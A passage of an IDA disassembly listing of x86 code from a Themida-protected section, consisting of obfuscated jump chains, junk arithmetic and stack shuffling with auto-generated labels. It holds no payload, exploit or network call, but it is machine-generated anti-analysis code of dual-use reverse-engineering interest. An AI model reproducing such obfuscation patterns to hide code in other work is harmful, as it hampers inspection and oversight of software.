		add	eax, edi
		pop	edi
		inc	eax
		jmp	loc_59F6E1
; ---------------------------------------------------------------------------


loc_5952FF:				; CODE XREF: sub_59390B+6221j
		add	esi, 6062B960h
		or	ebx, esi
		pop	esi
		push	esi
		mov	esi, 4E6356C1h
		jmp	loc_5A242C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_595313:				; CODE XREF: Themida_:00592FF3j
		shl	edi, 8
		push	eax
		push	ebp
		mov	ebp, 3C554D06h
		sub	ebp, 42630D4h
		sub	ebp, 4ED1373Eh
		push	ebx
		mov	ebx, 53DE139Fh
		sub	ebp, ebx
		pop	ebx
		shr	ebp, 5
		inc	ebp
		xor	ebp, 7380EBB7h
		mov	eax, ebp
		jmp	loc_5A17DC
; ---------------------------------------------------------------------------


loc_595343:				; CODE XREF: Themida_:00594761j
		movsx	ecx, al
		push	7447h
		mov	[esp], ecx
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_595353:				; CODE XREF: Themida_:005A5005j
		push	ecx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_59F31E
; ---------------------------------------------------------------------------


loc_595365:				; CODE XREF: Themida_:005A0084j
		pop	dword ptr [esp]
		jmp	loc_59930E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59536D:				; CODE XREF: sub_59390B+4C3j
		xchg	ebx, [esp-1Eh+arg_14+2]
		jmp	loc_5A3B62
; ---------------------------------------------------------------------------


loc_595375:				; CODE XREF: sub_59390B+E768j
		pop	esi
		jmp	loc_59616E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_59537B:				; CODE XREF: sub_594D13+BC16j
		mov	ebp, 40AA214Fh
		push	edx
		mov	edx, 7650D9Dh
		and	edx, 12BF390Ah
		xor	edx, 5C633369h
		jmp	loc_5A49CF
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------
		lodsw
		push	small 1158h
		mov	[esp], di
		mov	di, 6059h
		push	esi
		mov	si, 2121h
		jmp	loc_59867E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5953AF:				; CODE XREF: sub_59390B+9B8Ej
		xchg	edx, [esp-22h+arg_18+2]
		jmp	loc_594D3B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_5953B7:				; CODE XREF: sub_5A17BF+4102j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_595DB9
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------


loc_5953CC:				; CODE XREF: Themida_:0059EA06j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_59D1F6
; ---------------------------------------------------------------------------


loc_5953DB:				; CODE XREF: Themida_:0059172Bj
		mov	ecx, 4
		add	ebx, 0D4F1966h
		jmp	loc_59BEF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5953EB:				; CODE XREF: sub_59390B+66ADj
		pop	ebx
		jmp	loc_599E31
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599F38


loc_5953F1:				; CODE XREF: sub_599F38+2FAFj
		xor	[esp+0], ebp
		jmp	loc_5A5B33
; END OF FUNCTION CHUNK	FOR sub_599F38
; ---------------------------------------------------------------------------


loc_5953F9:				; CODE XREF: Themida_:0059BC1Ej
		sub	bl, ah
		sub	bl, 78h
		push	ax
		mov	ah, 44h
		add	bl, ah
		pop	ax
		pop	eax
		mov	ah, bl
		pop	ebx
		add	bl, ah
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_5A1D47
; ---------------------------------------------------------------------------


loc_595421:				; CODE XREF: Themida_:0059D219j
		xor	eax, ecx
		pop	ecx
		sub	edi, 1604478Ch
		push	ebp
		jmp	loc_5943A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B019


loc_595430:				; CODE XREF: sub_59B019+1j
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		pop	ebp
		add	esp, 4
		pop	[esp+4+var_4]
		jmp	loc_5A0BDA
; END OF FUNCTION CHUNK	FOR sub_59B019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595443:				; CODE XREF: sub_59390B+59A6j
		mov	ax, 1E2Dh
		xor	ax, 2D65h
		or	ax, 4D97h
		sub	ax, 5525h
		sub	ax, 65A5h
		jmp	loc_59980F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59545C:				; CODE XREF: Themida_:005A45F7j
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_59269F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_595476:				; CODE XREF: sub_5A4CDD-E5FCj
		mov	edi, 0D922756Bh
		push	0E5Fh
		mov	[esp+10h+var_10], eax
		jmp	loc_59E7EA
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_595488:				; CODE XREF: sub_595BAD+3146j
		pop	edi
		push	22A6h
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A0424
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5954A1:				; CODE XREF: sub_59FCCB+3485j
		mov	[esp+8+var_8], ecx
		mov	ch, bl
		jmp	sub_592CEE
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_5954AB:				; CODE XREF: Themida_:005A29D0j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A0CC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5954C1:				; CODE XREF: sub_59FCCB-CEC8j
		xor	ah, 0F0h
		jmp	loc_59B23B
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_5954C9:				; CODE XREF: Themida_:0059B6B6j
		pop	ebx
		mov	al, ch
		mov	ecx, [esp]
		jmp	loc_5A0C4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5954D4:				; CODE XREF: sub_59CFD4+8B1j
		add	esp, 4
		shr	ecx, 0Ah
		jmp	sub_59F5AB
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_5954E2:				; CODE XREF: Themida_:00594E9Bj
		pop	ebx
		jmp	loc_594742
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_5954E8:				; CODE XREF: sub_5A17BF+683j
		pop	ecx
		sub	edx, ebp
		pop	ebp
		and	esi, edx
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		xchg	eax, esi
		push	122Bh
		mov	[esp+10h+var_10], eax
		not	[esp+10h+var_10]
		jmp	loc_5A1973
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595505:				; CODE XREF: sub_59390B+306j
		inc	dl
		add	dl, 0BFh
		dec	dl
		add	dl, 40h
		sub	al, dl
		pop	edx
		jmp	loc_590C4F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_595517:				; CODE XREF: Themida_:00595DA9j
		sub	esp, 4
		jmp	loc_5A1907
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_59551F:				; CODE XREF: sub_594D13+B85Cj
		mov	[esp+0], ecx
		jmp	loc_59EA0B
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_595527:				; CODE XREF: sub_59FD45-7DCFj
		shr	ebp, 8
		push	ecx
		mov	ecx, 0EF859C8h
		sub	ecx, 0D8441C6h
		sub	ebp, ecx
		pop	ecx
		shl	ebp, 5
		sub	ebp, 0AEC13923h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, edi
		jmp	loc_596C3F
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_59554C:				; CODE XREF: Themida_:005A3DECj
		pop	eax
		jmp	loc_5A3013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A085D


loc_595552:				; CODE XREF: sub_5A085D-71D5j
		or	al, 86h
		shr	al, 8
		jmp	sub_5A51EA
; END OF FUNCTION CHUNK	FOR sub_5A085D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59555C:				; CODE XREF: sub_59390B+8B1Aj
		pop	edi
		xor	ebx, [esp-18h+arg_10]
		xor	[esp-18h+arg_10], ebx
		xor	ebx, [esp-18h+arg_10]
		pop	esp
		jmp	loc_59B526
; ---------------------------------------------------------------------------


loc_59556C:				; CODE XREF: sub_59390B+34F0j
		pop	esp
		mov	[esp-20h+arg_18], edx
		jmp	loc_5917B8
; ---------------------------------------------------------------------------


loc_595575:				; CODE XREF: sub_59390B+E9j
		mov	eax, 1956F68h
		add	esi, eax
		jmp	loc_59D917
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B20A


loc_595581:				; CODE XREF: sub_59B20A+1j
		push	edi
		push	ecx
		jmp	loc_593974
; END OF FUNCTION CHUNK	FOR sub_59B20A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_595588:				; CODE XREF: sub_59A431-4C7Aj
		push	edx
		mov	edx, 657A7013h
		sub	edx, 29E037E2h
		neg	edx
		sub	edx, 47C69A8Eh
		add	ebp, edx
		jmp	loc_5A2876
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_5955A3:				; CODE XREF: Themida_:0059CA47j
		sub	esi, 7D5915B3h
		pop	edx
		pop	ecx
		jmp	loc_597456
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_59770A
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	dx
		push	edi
		mov	edi, esp
		push	eax
		jmp	loc_594D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5955C7:				; CODE XREF: sub_595BAD-4D6Fj
		pop	ebx
		add	esp, 4
		pop	ecx
		push	eax
		jmp	loc_596BC8
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------


loc_5955D5:				; CODE XREF: Themida_:0059D545j
		pop	ebx
		add	edx, ebp
		mov	ebp, [esp]
		jmp	loc_599485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595949


loc_5955E0:				; CODE XREF: sub_595949-4617j
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 8FC193D4h
		sub	edi, ebx
		jmp	loc_59E42A
; END OF FUNCTION CHUNK	FOR sub_595949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A09BC


loc_5955EF:				; CODE XREF: sub_5A09BC+1FFCj
		add	ebp, 8A51B98Bh
		jmp	loc_5A24DE
; END OF FUNCTION CHUNK	FOR sub_5A09BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4E7


loc_5955FA:				; CODE XREF: sub_59F4E7-5B31j
		shl	byte ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595603:				; CODE XREF: sub_59390B+DB0Aj
		pop	eax
		xchg	dh, cl
		not	dh
		xchg	dh, cl
		jmp	loc_5951DE
; ---------------------------------------------------------------------------


loc_59560F:				; CODE XREF: sub_59390B+EB2Bj
		pop	edx
		add	esi, eax
		pop	eax
		push	12AEh
		jmp	loc_592AE2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59561D:				; CODE XREF: sub_59A431+37FAj
		push	edx
		push	1Ch
		pop	edx
		add	edx, edi
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		mov	eax, [ebx]
		pop	ebx
		mov	edx, [esp+10h+var_10]
		push	esi
		mov	esi, esp
		push	739Bh
		mov	[esp+18h+var_18], ebx
		jmp	loc_591422
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_595644:				; CODE XREF: sub_59A4D6+6215j
		mov	[esp+0], ebp
		push	ebx
		mov	ebx, 69C837BEh
		mov	ebp, ebx
		pop	ebx
		push	1F17h
		mov	[esp+4+var_4], edx
		push	ebx
		mov	ebx, 284472DDh
		jmp	loc_5A1FF6
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_595663:				; CODE XREF: Themida_:0059C5EFj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 112F3154h
		push	eax
		mov	eax, 147705E5h
		add	eax, 13D23473h
		jmp	loc_5965D2
; ---------------------------------------------------------------------------


loc_595682:				; CODE XREF: Themida_:0059A76Aj
		push	eax
		push	esp
		jmp	loc_5A4D15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_595689:				; CODE XREF: sub_59CAFB+76Cj
		pop	edx
		add	ebp, esi
		push	[esp+0Ch+var_C]
		pop	esi
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		jmp	loc_598FF7
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_59569B:				; CODE XREF: Themida_:005983A7j
		mov	esp, [esp]
		jmp	loc_5A0507
; ---------------------------------------------------------------------------


loc_5956A3:				; CODE XREF: Themida_:0059573Cj
		push	esp
		jmp	loc_5A38D6
; ---------------------------------------------------------------------------


loc_5956A9:				; CODE XREF: Themida_:005969F2j
		mov	ebx, 486465E4h
		shr	ebx, 2
		jmp	loc_59D892
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5956B6:				; CODE XREF: sub_595BAD+7001j
		xor	edx, 7B8273DEh
		mov	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		mov	eax, ebx
		mov	ecx, eax
		pop	eax
		pop	ebx
		push	83C7E1DFh
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		push	edx
		mov	edx, 3A4867DCh
		push	edx
		mov	edx, 28F50733h
		add	edi, edx
		jmp	loc_59CE7C
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5956E9:				; CODE XREF: sub_59390B+422j
		mov	eax, [esp-1Eh+arg_14+2]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-1Ah+arg_10+2]
		pop	esp
		xchg	esi, [esp-1Eh+arg_14+2]
		pop	esp
		push	3FADh
		mov	[esp-1Eh+arg_14+2], esi
		push	esp
		push	[esp-1Ah+arg_10+2]
		pop	esi
		jmp	loc_59F420
; ---------------------------------------------------------------------------


loc_595715:				; CODE XREF: sub_59390B+41j
		add	esp, 4
		push	ebp
		mov	ebp, 24h
		sub	esi, 4122FFAh
		push	edi
		push	edx
		push	eax
		jmp	loc_5A483F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5956A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0060


loc_595741:				; CODE XREF: sub_5A0060+1CC5j
		pop	ebx
		xor	bl, al
		movzx	eax, al
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], edx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_59DAEF
; END OF FUNCTION CHUNK	FOR sub_5A0060
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595774:				; CODE XREF: sub_59390B+74E4j
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	77CAh
		mov	[esp+4+var_4], ebp
		push	2E4A51AEh
		pop	ebp
		push	edi
		mov	edi, 2E4A51AAh
		jmp	loc_599621
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_595798:				; CODE XREF: Themida_:005A1A15j
		add	esp, 4
		sub	cl, 22h
		jmp	loc_5A4C03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5957A3:				; CODE XREF: sub_59390B+D468j
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		jmp	loc_5A1B5A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5957B2:				; CODE XREF: sub_59A431+8D3j
		mov	edx, 4
		jmp	loc_595588
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_5957BC:				; CODE XREF: Themida_:0059D474j
		push	5427h
		mov	[esp], edx
		push	0F2Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_59C4C1
; ---------------------------------------------------------------------------


loc_5957D9:				; CODE XREF: Themida_:005915C5j
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_5A3887
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5957E4:				; CODE XREF: sub_59390B-2403j
		shr	ecx, 2
		push	7D36h
		mov	[esp-10h+arg_8], ebx
		push	[esp-10h+arg_8]
		pop	eax
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-0Ch+arg_4]
		pop	esp
		mov	[esp-10h+arg_8], edi
		mov	edi, esp
		push	7914h
		mov	[esp-0Ch+arg_4], ebx
		push	7DAEh
		mov	[esp-8+arg_0], edx
		push	5C037F3Ah
		pop	edx
		inc	edx
		push	esi
		jmp	loc_5A175B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_595828:				; CODE XREF: Themida_:005A4DBEj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_59A709
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595839:				; CODE XREF: sub_59390B+4077j
		pop	edx
		add	ebp, eax
		jmp	loc_59435A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_595841:				; CODE XREF: sub_595BAD+BD71j
		and	ebx, esi
		pop	esi
		shr	ebx, 6
		sub	ebx, 0FB881h
		jmp	loc_5A3F63
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------


loc_595852:				; CODE XREF: Themida_:005946BBj
		add	esp, 4
		push	ebp
		mov	ebp, 4D535FC8h
		and	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	edx, 8
		push	ecx
		mov	ecx, 1
		jmp	loc_595A44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E1C


loc_595877:				; CODE XREF: sub_592E1C+66A8j
		sub	ebp, 0FFFFFFFFh
		push	eax
		jmp	sub_5A09BC
; END OF FUNCTION CHUNK	FOR sub_592E1C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		jmp	loc_597D4D
; ---------------------------------------------------------------------------


loc_59588D:				; CODE XREF: Themida_:00592461j
		mov	[esp], eax
		mov	eax, 4FEA5ADBh
		xor	eax, 4FEA5ADFh
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		push	6DBDh
		mov	[esp], ecx
		jmp	loc_599E24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_5958B4:				; CODE XREF: sub_598762-F06j
		mov	edx, esp
		jmp	loc_5A386F
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_5958BB:				; CODE XREF: sub_59338E+A41Ej
		pop	esi
		pop	ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		jmp	loc_599CD1
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5958CB:				; CODE XREF: sub_5A51EA+2Aj
		mov	[esp+0], dx
		jmp	loc_5A0EA8
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_5958D4:				; CODE XREF: sub_59F53F-4404j
		pop	edx
		push	edi
		jmp	loc_59BB02
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_5958DB:				; CODE XREF: sub_5A0733-254j
		dec	edi
		sub	edi, 0D0FA51h
		add	[esp+0Ch+var_8], edi
		pop	edi
		pop	edi
		push	edx
		mov	edx, 4
		sub	edi, 448671FFh
		add	edi, 2A63606Dh
		add	edi, edx
		sub	edi, 2A63606Dh
		jmp	sub_5A0BFE
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------


loc_595907:				; CODE XREF: Themida_:0059CD51j
		xor	esi, [esp]
		jmp	loc_59AA0A
; ---------------------------------------------------------------------------


loc_59590F:				; CODE XREF: Themida_:0059D070j
		push	1B2652E0h
		pop	ebp
		dec	ebp
		dec	ebp
		jmp	loc_59CC68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_59591C:				; CODE XREF: sub_5A51EA-69EAj
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		push	ecx
		sub	esp, 4
		jmp	loc_5A5201
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F4F


loc_595934:				; CODE XREF: sub_5A4F4F-9C43j
		pop	esp
		push	ebp
		push	esi
		mov	esi, 4
		jmp	loc_590BE6
; END OF FUNCTION CHUNK	FOR sub_5A4F4F

; =============== S U B	R O U T	I N E =======================================



sub_595941	proc near		; CODE XREF: sub_594E5F+D8DDj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00591DBE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597EA3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059DEC8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059FD2D SIZE 0000000C BYTES

		push	ebx
		mov	ebx, esp
		jmp	loc_59FD2D
sub_595941	endp


; =============== S U B	R O U T	I N E =======================================



sub_595949	proc near		; CODE XREF: sub_599F46+72E3j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00591326 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592125 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005955E0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599B63 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00599D7A SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059D03D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E42A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FFA7 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A044C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A08AD SIZE 00000023 BYTES

		push	ebx
		push	edi
		push	703E6C27h
		jmp	loc_5A044C
sub_595949	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_595955:				; CODE XREF: sub_59390B+41CDj
		pop	ebp
		add	ebx, 56F0466Ch
		sub	ebx, ecx
		sub	ebx, 56F0466Ch
		jmp	loc_590BCF
; ---------------------------------------------------------------------------


loc_595969:				; CODE XREF: sub_59390B+4EBAj
		sub	ax, bx
		sub	ax, 3558h
		jmp	loc_596314
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BDD3


loc_595975:				; CODE XREF: sub_59BDD3+16j
		shl	esi, 8
		push	eax
		mov	eax, 0F3AC77FCh
		jmp	loc_592C49
; END OF FUNCTION CHUNK	FOR sub_59BDD3
; ---------------------------------------------------------------------------


loc_595983:				; CODE XREF: Themida_:0059A0D9j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	small 6B92h
		mov	[esp], ax
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0F5h
		sub	bl, 1
		shr	bl, 3
		shl	bl, 1
		jmp	loc_596BFA
; ---------------------------------------------------------------------------


loc_5959AA:				; CODE XREF: Themida_:0059A0B8j
		push	edx
		mov	edx, 5C3360F3h
		add	edx, 0FFFFFFFFh
		sub	edx, 629B5436h
		neg	edx
		and	edx, 11140ED0h
		xor	edx, 7B527DBBh
		sub	eax, edx
		pop	edx
		mov	ebp, eax
		pop	eax
		push	eax
		jmp	loc_59F835
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DC9E


loc_5959D6:				; CODE XREF: sub_59DC9E-6E6Aj
		mov	eax, [esp+0]
		add	esp, 4
		jmp	sub_59886E
; END OF FUNCTION CHUNK	FOR sub_59DC9E
; ---------------------------------------------------------------------------


loc_5959E4:				; CODE XREF: Themida_:0059EFDBj
		sub	eax, 151C58F3h
		jmp	loc_5A0106
; ---------------------------------------------------------------------------


loc_5959EE:				; CODE XREF: Themida_:00593530j
		and	al, bh
		pop	ebx
		inc	al
		add	al, 0FFh
		sub	al, 9Bh
		add	bl, al
		pop	eax
		add	bl, al
		sub	bl, 0C7h
		sub	bl, 0E0h
		movzx	eax, al
		jmp	loc_59104A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_595A0A:				; CODE XREF: sub_59654E+AF3Aj
		sub	eax, 0D81731Eh
		inc	eax
		sub	eax, 38F342EBh
		add	eax, 0F3CD933Bh
		jmp	loc_59BDA4
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_595A1F:				; CODE XREF: sub_59D1FC+4437j
		push	edx
		mov	edx, 36477584h
		jmp	loc_595030
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------


loc_595A2A:				; CODE XREF: Themida_:0059E711j
		mov	[esp], eax
		mov	ah, 6Dh
		inc	ah
		jmp	loc_592212
; ---------------------------------------------------------------------------


loc_595A36:				; CODE XREF: Themida_:0059EE0Fj
		pop	ebx
		push	4BD6h
		mov	[esp], esi
		jmp	loc_5A165C
; ---------------------------------------------------------------------------


loc_595A44:				; CODE XREF: Themida_:00595872j
		sub	edx, ecx
		jmp	loc_59EB3B
; ---------------------------------------------------------------------------


loc_595A4B:				; CODE XREF: Themida_:005945F1j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edi
		mov	edi, 13976DEh
		add	ebx, edi
		jmp	loc_59AD5C
; ---------------------------------------------------------------------------


loc_595A62:				; CODE XREF: Themida_:00594FB5j
		xor	edx, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_59D6BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_595A72:				; CODE XREF: sub_5A4CDD-14j
		mov	[esp+10h+var_10], ebx
		pop	eax
		pop	ebx
		push	7F0Ch
		mov	[esp+0Ch+var_C], ecx
		push	5483h
		jmp	loc_598FCD
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_595A89:				; CODE XREF: sub_5932F7+6418j
		inc	esi
		xor	esi, 2D604130h
		mov	ebx, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		or	ebx, 4A276F3h
		xor	ebx, 19B567ACh
		jmp	loc_5927B7
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------


loc_595AAC:				; CODE XREF: Themida_:00591BBFj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 32BD2E84h
		neg	ebp
		shl	ebp, 2
		not	ebp
		push	eax
		mov	eax, 1C651E6Bh
		sub	ebp, eax
		pop	eax
		push	7560h
		mov	[esp], edx
